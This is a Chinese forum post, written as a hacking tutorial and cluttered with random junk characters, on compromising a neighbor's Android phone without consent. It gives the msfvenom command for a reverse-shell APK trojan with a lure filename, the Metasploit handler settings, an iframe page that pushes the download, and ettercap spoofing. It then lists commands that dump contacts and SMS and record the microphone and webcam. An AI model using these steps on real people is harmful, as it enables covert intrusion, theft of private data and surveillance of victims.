metasploit+ettercap中间人攻击成功入侵邻居手机

admin

五、msf+ettercap入侵邻居安卓手机 1 L; M4 n9 b/ Y2 P( w. Q. K

6 S; }/ B Z- g; |& a0 F( D 首先启动msf

先用kali生成一个安卓木马，如下命令：

Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk , y& i5 W! @9 o& ^. Y

8 d& h. F' v/ N; L+ P+ z 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻

然后进入msf

6 L' ~' G& u$ v* n. {8 ]

use exploit/multi/handler

, @. r% P( f2 W; X

! _9 ]3 e! ~2 ]4 U- z2 m" x: s+ ` set payload android/meterpreter/reverse_tcp ! c" T& j% m5 s+ k( J- F* g

1 K7 i' v+ ?; M1 ?+ f

$ z4 e% l: X+ d s) n set LHOST 192.168.0.109 //ip为kaili的ip * W% y9 l4 @/ I9 T D6 I

$ x! ~ |( k( u( ~4 ]4 K

5 ^! B( g1 m! K9 {, o# ] set LPORT 44444 //端口一定要与前面生成的木马的端口一致

Exploit

  & Q" r+ `" O! Q7 T

0 b! I. w3 t: t, J% t

下面我们开启ettercap -G

. z/ G3 H9 N* U

我物理IP为 5 ?9 d: q' y: `! x' ~

 

$ f [$ c3 @* J9 X

别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，

2 w" x1 E% X* X# |: V4 x4 Y; G5 |

( _* r5 C5 T& g5 f q2 G* K 下面我们来设置一下 $ M, R# b0 V- a' y3 s

4 \. O8 c4 `- u2 M  

* d: C( c1 {2 X3 o9 \9 L

% d% D' j: Y- R x 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，

4 l. H/ Q- s) o( @8 Q# D

9 j/ D4 p9 T W S$ v8 o   Z, C% I& l6 O" d/ d& `5 o

9 a& V& Q) D# e/ e

, ?6 ^) Z$ g2 X5 J4 {; A4 z. _2 l, p3 t   * g% V8 n- C) r8 G& I# M5 x

Q: E( ]( i( ?: h$ g6 w

  4 r o" C: ]4 _9 C

/ U# p, |/ J& \4 L F- g2 P

5 U! {! y5 _' u# N9 A' D  

: S+ I- @3 x, M( G! ^( @( f

 

  7 r2 Y6 x" |. W: z; a# c, M, y

$ t4 J2 P, n0 P8 t  

3 d7 K% R, U5 X& `( ~+ D4 G. ^: U& e8 }

* H- [. @# t; i   " [5 l+ h7 L- N5 K4 ~8 a: s

! h% G) [0 ]8 R% A# e3 p! O) j7 O

3 _" O$ z* e. ~2 | x& S  

# }9 N+ o* E) U/ G9 X   / R+ k% `8 ?% M' t' Y8 o& a

  ) w" N4 |, R% V3 ]# d

# d* h% x8 L6 B2 K$ P+ W9 `   2 Y2 } o/ ~8 Y# m% s6 w( h

/ }3 F: C2 B4 }& M

' j! ~& i% R: J  

下面我们开始攻击 5 h4 f6 ]6 j: d9 o3 {" N/ [

* V3 D' g5 Q+ V$ Q

# I* j, w) y* n- Q m2 p9 c, P   5 ]/ ?! n* i& m4 y8 S3 q

% f6 U: k. A3 h( [' [1 M

$ H, O1 T% r' o6 Z. m   / F/ s- Y6 ?& }) P4 m+ x7 P& h

6 Y& i- L* R6 z% o% V3 G6 i3 a   - L, ^: v9 G6 \. Q# m4 v& u

1 n' u% H; P( X' }

# j1 R# ]7 O! s% Z/ V }- m   " m, o% ^5 m- k0 l I% B

6 q. v/ s5 L# b7 q

, E2 ^9 Y+ H. B$ \' k& Y  

; s0 g4 o$ v& k5 U1 l

0 D8 H1 M. `. v" c! t 大概过了5分钟多，发现反弹成功了 , F) \+ s/ P5 I9 v( E* ? o

3 s1 u, T1 u( z% [1 L/ U+ Y; G

# J' z7 e" l% r& A' H D, m: {  

) }" {. x: ~$ c' z& ~' D2 B  

 

- z; p- ~' _- U# X  

8 \. g; X* i, n. \

  8 o- c4 x* E: {1 ~5 z2 J

  ( u/ I; Q& g. E% U/ K! U6 L' G3 \

5 f! G; r7 n6 V/ N9 A5 `

, g, S, V" d* @7 e   0 W& f: i8 |. Y/ H5 O+ K# e; l

_. N. q+ ~8 k7 B

执行命令 3 ]4 C6 f/ N( S/ ?

  $ _! y" ?+ b% M9 m9 L, k7 o

! [5 v5 h) j& u6 G( D0 M

dump_contacts    --》这个是导出电话 + ~9 L- Q! T' e S! U* ~/ C: f+ I; }

dump_sms --》这个是导出信息 * j7 e3 O( Z1 F/ A) R% }4 G% M

, F6 D( }* o% R) z# j9 @0 W

record_mic     Record audio from the default microphone for X seconds

; {5 F+ o8 X- \8 c5 G1 l9 }' w     webcam_chat    Start a video chat

+ }; w$ ~9 d: N4 r, x

    webcam_list    List webcams 7 {4 o. d+ F z' |5 F

" S" I2 q w$ \& G' V4 B& T' r" w2 r

' O/ W2 y0 E. q( v, b     webcam_snap    Take a snapshot from the specified webcam

$ G& T' M! Y6 q) Q

1 R5 e) f" W% _ webcam_stream  lay a video stream from the specified webcam 1 J8 E8 d( [- V# z6 P2 }

 

1 @: R* ^1 m' p" o2 [* N   6 a n4 ?0 \# g9 B d" w+ H

0 q9 S5 Y, F) u" S. |, p 我们打开看一下电话薄，

1 ~3 C/ U. P% a6 g" Z8 r/ T' R

  , F$ k: x) j3 M0 V- m5 v

/ E: ?* L# b) h

1 i1 A' L- V0 U" H  

- J+ K; g; ~$ Z. A  

; O/ e u7 w) A8 h  

i+ U+ Z0 M3 \$ H

3 A# [/ U/ b2 B8 Y. e  

4 s1 ^8 x: V3 _8 I+ O" _

. S) J0 ]6 X% {7 b/ m$ _& _  

我们同时欺骗成DroidJack木马，使用方法如图： Q/ K; b- l5 c

 

" V0 p2 q4 l4 s   ' m* P" \- a. P

- m4 j& a( V* G/ b

# p& m, ^, f: A8 [; J8 M" f   " Y# N- ^4 e$ T5 d1 t N% }

切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口

 

) p( L$ s' ~% O5 F: f' Y) }   O% ^; D1 x/ H% j

" R! r4 W' d/ [# b8 ^ k% L( {

; ]) F6 c/ J& y" K% {/ {  

9 o/ V! u" |' n8 r) H' U

: i& S: `( z. S: ~, G0 s3 [8 Y7 ?

0 ~) f& F/ s. U# O4 a; Q
1 p. P: W, @7 Y, `' U